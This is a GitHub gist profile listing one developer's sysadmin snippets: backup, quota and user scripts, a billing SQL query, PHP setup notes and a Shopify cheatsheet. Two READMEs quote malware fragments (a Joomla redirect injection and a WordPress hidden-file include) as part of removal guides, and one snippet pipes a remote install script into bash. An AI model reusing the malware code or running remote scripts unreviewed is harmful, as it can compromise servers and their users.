Skip to content

Instantly share code, notes, and snippets.

View mrl22's full-sized avatar
💭
Always coding

Richard Leishman mrl22

💭
Always coding
View GitHub Profile
View uninvoiced-hosting.sql
SELECT tblhosting.billingcycle, tblhosting.nextduedate, tblhosting.*
FROM tblhosting
LEFT JOIN tblinvoiceitems
ON tblinvoiceitems.`type` IN ('Hosting') AND tblhosting.id = tblinvoiceitems.relid
and (
(tblhosting.billingcycle='Monthly' AND date_add(tblinvoiceitems.duedate, INTERVAL 1 month) >= tblhosting.nextduedate)
OR (tblhosting.billingcycle='Quarterly' AND date_add(tblinvoiceitems.duedate, INTERVAL 3 month) >= tblhosting.nextduedate)
OR (tblhosting.billingcycle='Semi-Annually' AND date_add(tblinvoiceitems.duedate, INTERVAL 6 month) >= tblhosting.nextduedate)
OR (tblhosting.billingcycle='Annually' AND date_add(tblinvoiceitems.duedate, INTERVAL 12 month) >= tblhosting.nextduedate)
OR (tblhosting.billingcycle='Biennially' AND date_add(tblinvoiceitems.duedate, INTERVAL 24 month) >= tblhosting.nextduedate)
@mrl22
mrl22 / compact.sh
Created August 23, 2023 12:27
Borg Backup Server - Compact All Repositories
View compact.sh
#!/bin/bash
# Loop through user directories in /home/
for user_dir in /home/*; do
if [ -d "$user_dir" ]; then
user=$(basename "$user_dir") # Extract the username from the path
# Check if there is a Borg repo
if [ -f "$user_dir/repo/transactions" ]; then
usage=$(du -sh "$user_dir/repo" | cut -f1)
echo -n "Compacting $user ($usage) ... "
@mrl22
mrl22 / quota.sh
Last active August 9, 2023 19:59
Display output of repquota in human friendly output, in order of used space. TESTED ON UBUNTU 22.04
View quota.sh
#!/bin/bash
# Run repquota and filter the output to get user and space usage information
repquota_output=$(repquota -a | grep ' -- ' | grep -vE 'man |_apt |systemd-|pollinate |syslog |tss |landscape |fwupd-')
# Sort the output by block usage (column 3) in reverse numeric order
sorted_output=$(echo "$repquota_output" | awk '/^[a-zA-Z0-9]/ {print $1 " " $3}' | sort -k2,2nr)
# Function to convert kilobytes to human-readable format
kilobytes_to_human() {
@mrl22
mrl22 / check.sh
Created August 9, 2023 19:19
Borg Backup Server - Check if there has been a backup in the last 48 hours - NO ENCRYPTION PASS NEEDED
View check.sh
#!/bin/bash
# Loop through user directories in /home/
for user_dir in /home/*; do
if [ -d "$user_dir" ]; then
user=$(basename "$user_dir") # Extract the username from the path
# Check if the "transactions" file exists in the user's repo directory
if [ -f "$user_dir/repo/transactions" ]; then
# Get the modified date of the "transactions" file
modified_date=$(stat -c %Y "$user_dir/repo/transactions")
@mrl22
mrl22 / create_user.sh
Last active August 8, 2023 16:30
Create a Linux user through script
View create_user.sh
#!/bin/bash
# ------------------------------------------------------------------
# Am i Root user?
if [ $(id -u) -eq 0 ]; then
read -p "Enter username : " username
egrep "^$username" /etc/passwd >/dev/null
if [ $? -eq 0 ]; then
echo "$username exists!"
exit 1
else
@mrl22
mrl22 / README.md
Created April 11, 2023 12:08
PHP 8.2 Support for Apache and NGINX (OpenResty) on Moss.sh
View README.md

Do not copy and paste this code, it requires changes

Other PHP versions available here: https://gist.github.com/search?q=user%3Amrl22+moss

As of writing this, Moss.sh does not support PHP 8.2 via the control panel even though Ubuntu does.

Set up your website using Moss.sh and select Apache with PHP 7.4.

Once complete, we need to install PHP 8.2 with all the packages moss installs for 7.4.

@mrl22
mrl22 / README.md
Last active April 7, 2023 15:58
Joomla Redirection Malware Fix - Is your Joomla site ramdomly redirecting to spam sites?
View README.md

I found this webpage useful to start with: https://www.getastra.com/blog/911/joomla-malicious-redirects/

My next step was to see if I can get the source code for the redirect happening. I used https://www.view-page-source.com/ to get the source code anonymously hoping it would trigger and it did!

The malware injected the following into the head:

<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script>
var khutmhpx = document.createElement("script");
@mrl22
mrl22 / README.md
Last active February 27, 2023 15:30
Remove WordPress Virus Malware PHP basename() include_once()
View README.md
if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 
}

You are probably here because you Google'd the above PHP code.

I searched Google, but couldn't find a working solution, so I wrote one!

View shopify-liquid-cheatsheet.liquid
Shopify objects that contain attributes that can be dynamically put on the page. For example, the product object contains an attribute called title that can be used to output the title of a product.
The handle is used to access the attributes of a Liquid object. By default, it is the object’s title in lowercase with any spaces and special characters replaced by hyphens (-). Every object in Liquid (product, collection, blog, menu) has a handle.
Collections & Products
Collection ►
all_types ►
Returns a list of all the product types for a collection
@mrl22
mrl22 / client-run.md
Created September 2, 2022 19:53
First install
View client-run.md

curl -s https://urlto/install.sh | INSTALL_PUBLIC_KEY="ssh-rsa AAAAB3Nzwhatever mrl22@sfsdfsdfsdfsdf" bash -